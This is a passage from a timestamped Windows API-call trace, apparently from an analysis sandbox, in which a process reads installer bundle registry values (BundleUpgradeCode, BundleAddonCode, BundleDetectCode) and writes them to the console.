(in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.870] GetProcessHeap () returned 0x3c0000 [0150.870] GetProcessHeap () returned 0x3c0000 [0150.870] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0150.870] GetProcessHeap () returned 0x3c0000 [0150.870] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xae [0150.870] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0150.870] RegEnumValueW (in: hKey=0x5c, dwIndex=0x1, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="BundleUpgradeCode", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.870] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleUpgradeCode", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x54) returned 0x0 [0150.870] GetProcessHeap () returned 0x3c0000 [0150.870] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x56) returned 0x3db830 [0150.870] GetProcessHeap () returned 0x3c0000 [0150.870] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.870] GetProcessHeap () returned 0x3c0000 [0150.870] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x56 [0150.870] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleUpgradeCode", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x54 | out: pdwType=0x29f700*=0x7, pvData=0x3db830*, pcbData=0x29f780*=0x50) returned 0x0 [0150.870] __iob_func () returned 0x7fefd702a80 [0150.870] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.870] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.870] _fileno (_File=0x7fefd702ab0) returned 1 [0150.870] _errno () returned 0x204bb0 [0150.870] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.870] _errno () returned 0x204bb0 [0150.871] GetFileType (hFile=0x50) returned 0x1 [0150.871] lstrlenW (lpString=" ") returned 4 [0150.871] GetConsoleOutputCP () returned 0x1b5 [0150.871] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.871] GetConsoleOutputCP () returned 0x1b5 [0150.871] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.871] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.871] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.871] lstrlenW (lpString="BundleUpgradeCode") returned 17 [0150.871] __iob_func () returned 0x7fefd702a80 [0150.871] _fileno (_File=0x7fefd702ab0) returned 1 [0150.871] _errno () returned 0x204bb0 [0150.871] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.871] _errno () returned 0x204bb0 [0150.871] GetFileType (hFile=0x50) returned 0x1 [0150.871] lstrlenW (lpString="BundleUpgradeCode") returned 17 [0150.871] GetConsoleOutputCP () returned 0x1b5 [0150.871] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleUpgradeCode", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0150.871] GetConsoleOutputCP () returned 0x1b5 [0150.871] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleUpgradeCode", cchWideChar=17, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BundleUpgradeCode", lpUsedDefaultChar=0x0) returned 17 [0150.871] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 17 [0150.871] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.872] __iob_func () returned 0x7fefd702a80 [0150.872] _fileno (_File=0x7fefd702ab0) returned 1 [0150.872] _errno () returned 0x204bb0 [0150.872] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.872] _errno () returned 0x204bb0 [0150.872] GetFileType (hFile=0x50) returned 0x1 [0150.872] lstrlenW (lpString=" ") returned 4 [0150.872] GetConsoleOutputCP () returned 0x1b5 [0150.872] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.872] GetConsoleOutputCP () returned 0x1b5 [0150.872] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.872] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.872] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.872] __iob_func () returned 0x7fefd702a80 [0150.872] _fileno (_File=0x7fefd702ab0) returned 1 [0150.872] _errno () returned 0x204bb0 [0150.872] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.872] _errno () returned 0x204bb0 [0150.872] GetFileType (hFile=0x50) returned 0x1 [0150.872] lstrlenW (lpString="REG_MULTI_SZ") returned 12 [0150.872] GetConsoleOutputCP () returned 0x1b5 [0150.872] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_MULTI_SZ", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0150.872] GetConsoleOutputCP () returned 0x1b5 [0150.873] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_MULTI_SZ", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_MULTI_SZ", lpUsedDefaultChar=0x0) returned 12 [0150.873] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0150.873] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.873] __iob_func () returned 0x7fefd702a80 [0150.873] _fileno (_File=0x7fefd702ab0) returned 1 [0150.873] _errno () returned 0x204bb0 [0150.873] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.873] _errno () returned 0x204bb0 [0150.873] GetFileType (hFile=0x50) returned 0x1 [0150.873] lstrlenW (lpString=" ") returned 4 [0150.873] GetConsoleOutputCP () returned 0x1b5 [0150.873] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.873] GetConsoleOutputCP () returned 0x1b5 [0150.873] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.873] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.873] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.873] __iob_func () returned 0x7fefd702a80 [0150.873] _fileno (_File=0x7fefd702ab0) returned 1 [0150.873] _errno () returned 0x204bb0 [0150.873] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.873] _errno () returned 0x204bb0 [0150.873] GetFileType (hFile=0x50) returned 0x1 [0150.873] lstrlenW (lpString="{1D1DB5E6-E0D8-3103-8570-369A82A9BF33}") returned 38 [0150.873] GetConsoleOutputCP () returned 0x1b5 [0150.874] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="{1D1DB5E6-E0D8-3103-8570-369A82A9BF33}", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0150.874] GetConsoleOutputCP () returned 0x1b5 [0150.874] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="{1D1DB5E6-E0D8-3103-8570-369A82A9BF33}", cchWideChar=38, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{1D1DB5E6-E0D8-3103-8570-369A82A9BF33}", lpUsedDefaultChar=0x0) returned 38 [0150.874] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 38 [0150.874] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.874] lstrlenW (lpString="{1D1DB5E6-E0D8-3103-8570-369A82A9BF33}") returned 38 [0150.874] __iob_func () returned 0x7fefd702a80 [0150.874] _fileno (_File=0x7fefd702ab0) returned 1 [0150.874] _errno () returned 0x204bb0 [0150.874] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.874] _errno () returned 0x204bb0 [0150.874] GetFileType (hFile=0x50) returned 0x1 [0150.874] lstrlenW (lpString="\n") returned 1 [0150.874] GetConsoleOutputCP () returned 0x1b5 [0150.874] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.874] GetConsoleOutputCP () returned 0x1b5 [0150.874] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.874] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.874] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.874] GetProcessHeap () returned 0x3c0000 [0150.874] GetProcessHeap () returned 0x3c0000 [0150.874] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.874] GetProcessHeap () returned 0x3c0000 [0150.874] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x56 [0150.875] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0150.875] RegEnumValueW (in: hKey=0x5c, dwIndex=0x2, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="BundleAddonCode", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.875] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleAddonCode", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.875] GetProcessHeap () returned 0x3c0000 [0150.875] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.875] GetProcessHeap () returned 0x3c0000 [0150.875] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.875] GetProcessHeap () returned 0x3c0000 [0150.875] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.875] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleAddonCode", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x7, pvData=0x3dee90*, pcbData=0x29f780*=0x4) returned 0x0 [0150.875] __iob_func () returned 0x7fefd702a80 [0150.875] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.875] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.875] _fileno (_File=0x7fefd702ab0) returned 1 [0150.875] _errno () returned 0x204bb0 [0150.875] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.875] _errno () returned 0x204bb0 [0150.875] GetFileType (hFile=0x50) returned 0x1 [0150.875] lstrlenW (lpString=" ") returned 4 [0150.875] GetConsoleOutputCP () returned 0x1b5 [0150.875] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.875] GetConsoleOutputCP () returned 0x1b5 [0150.875] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.876] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.876] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.876] lstrlenW (lpString="BundleAddonCode") returned 15 [0150.876] __iob_func () returned 0x7fefd702a80 [0150.876] _fileno (_File=0x7fefd702ab0) returned 1 [0150.876] _errno () returned 0x204bb0 [0150.876] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.876] _errno () returned 0x204bb0 [0150.876] GetFileType (hFile=0x50) returned 0x1 [0150.876] lstrlenW (lpString="BundleAddonCode") returned 15 [0150.876] GetConsoleOutputCP () returned 0x1b5 [0150.876] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleAddonCode", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0150.876] GetConsoleOutputCP () returned 0x1b5 [0150.876] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleAddonCode", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BundleAddonCode", lpUsedDefaultChar=0x0) returned 15 [0150.876] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0150.876] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.876] __iob_func () returned 0x7fefd702a80 [0150.876] _fileno (_File=0x7fefd702ab0) returned 1 [0150.876] _errno () returned 0x204bb0 [0150.876] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.876] _errno () returned 0x204bb0 [0150.876] GetFileType (hFile=0x50) returned 0x1 [0150.876] lstrlenW (lpString=" ") returned 4 [0150.876] GetConsoleOutputCP () returned 0x1b5 [0150.876] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.877] GetConsoleOutputCP () returned 0x1b5 [0150.877] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.877] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.877] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.877] __iob_func () returned 0x7fefd702a80 [0150.877] _fileno (_File=0x7fefd702ab0) returned 1 [0150.877] _errno () returned 0x204bb0 [0150.877] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.877] _errno () returned 0x204bb0 [0150.877] GetFileType (hFile=0x50) returned 0x1 [0150.877] lstrlenW (lpString="REG_MULTI_SZ") returned 12 [0150.877] GetConsoleOutputCP () returned 0x1b5 [0150.877] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_MULTI_SZ", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0150.877] GetConsoleOutputCP () returned 0x1b5 [0150.877] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_MULTI_SZ", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_MULTI_SZ", lpUsedDefaultChar=0x0) returned 12 [0150.877] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0150.877] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.877] __iob_func () returned 0x7fefd702a80 [0150.877] _fileno (_File=0x7fefd702ab0) returned 1 [0150.877] _errno () returned 0x204bb0 [0150.877] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.877] _errno () returned 0x204bb0 [0150.877] GetFileType (hFile=0x50) returned 0x1 [0150.877] lstrlenW (lpString=" ") returned 4 [0150.878] GetConsoleOutputCP () returned 0x1b5 [0150.878] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.878] GetConsoleOutputCP () returned 0x1b5 [0150.878] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.878] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.878] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.878] __iob_func () returned 0x7fefd702a80 [0150.878] _fileno (_File=0x7fefd702ab0) returned 1 [0150.878] _errno () returned 0x204bb0 [0150.878] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.878] _errno () returned 0x204bb0 [0150.878] GetFileType (hFile=0x50) returned 0x1 [0150.878] lstrlenW (lpString="\n") returned 1 [0150.878] GetConsoleOutputCP () returned 0x1b5 [0150.878] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.878] GetConsoleOutputCP () returned 0x1b5 [0150.878] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.878] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.878] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.879] GetProcessHeap () returned 0x3c0000 [0150.879] GetProcessHeap () returned 0x3c0000 [0150.879] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.879] GetProcessHeap () returned 0x3c0000 [0150.879] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.879] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.879] RegEnumValueW (in: hKey=0x5c, dwIndex=0x3, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="BundleDetectCode", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.879] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleDetectCode", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.879] GetProcessHeap () returned 0x3c0000 [0150.879] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.879] GetProcessHeap () returned 0x3c0000 [0150.879] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.879] GetProcessHeap () returned 0x3c0000 [0150.879] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.879] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleDetectCode", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x7, pvData=0x3dee90*, pcbData=0x29f780*=0x4) returned 0x0 [0150.879] __iob_func () returned 0x7fefd702a80 [0150.879] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.879] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.879] _fileno (_File=0x7fefd702ab0) returned 1 [0150.879] _errno () returned 0x204bb0 [0150.879] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.879] _errno () returned 0x204bb0 [0150.879] GetFileType (hFile=0x50) returned 0x1 [0150.879] lstrlenW (lpString=" ") returned 4 [0150.879] GetConsoleOutputCP () returned 0x1b5 [0150.879] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.879] GetConsoleOutputCP () returned 0x1b5 [0150.879] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.880] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.880] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.880] lstrlenW (lpString="BundleDetectCode") returned 16 [0150.880] __iob_func () returned 0x7fefd702a80 [0150.880] _fileno (_File=0x7fefd702ab0) returned 1 [0150.880] _errno () returned 0x204bb0 [0150.880] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.880] _errno () returned 0x204bb0 [0150.880] GetFileType (hFile=0x50) returned 0x1 [0150.880] lstrlenW (lpString="BundleDetectCode") returned 16 [0150.880] GetConsoleOutputCP () returned 0x1b5 [0150.880] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleDetectCode", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0150.880] GetConsoleOutputCP () returned 0x1b5 [0150.880] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleDetectCode", cchWideChar=16, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BundleDetectCode", lpUsedDefaultChar=0x0) returned 16 [0150.880] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 16 [0150.880] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.880] __iob_func () returned 0x7fefd702a80 [0150.880] _fileno (_File=0x7fefd702ab0) returned 1 [0150.880] _errno () returned 0x204bb0 [0150.880] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.880] _errno () returned 0x204bb0 [0150.880] GetFileType (hFile=0x50) returned 0x1 [0150.880] lstrlenW (lpString=" ") returned 4 [0150.880] GetConsoleOutputCP () returned 0x1b5 [0150.880] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.881] GetConsoleOutputCP () returned 0x1b5 [0150.881] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.881] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.881] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.881] __iob_func () returned 0x7fefd702a80 [0150.881] _fileno (_File=0x7fefd702ab0) returned 1 [0150.881] _errno () returned 0x204bb0 [0150.881] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.881] _errno () returned 0x204bb0 [0150.881] GetFileType (hFile=0x50) returned 0x1 [0150.881] lstrlenW (lpString="REG_MULTI_SZ") returned 12 [0150.881] GetConsoleOutputCP () returned 0x1b5 [0150.881] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_MULTI_SZ", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0150.881] GetConsoleOutputCP () returned 0x1b5 [0150.881] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_MULTI_SZ", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_MULTI_SZ", lpUsedDefaultChar=0x0) returned 12 [0150.881] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0150.881] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.881] __iob_func () returned 0x7fefd702a80 [0150.881] _fileno (_File=0x7fefd702ab0) returned 1 [0150.881] _errno () returned 0x204bb0 [0150.881] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.881] _errno () returned 0x204bb0 [0150.881] GetFileType (hFile=0x50) returned 0x1 [0150.881] lstrlenW (lpString=" ") returned 4 [0150.882] GetConsoleOutputCP () returned 0x1b5 [0150.882] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | 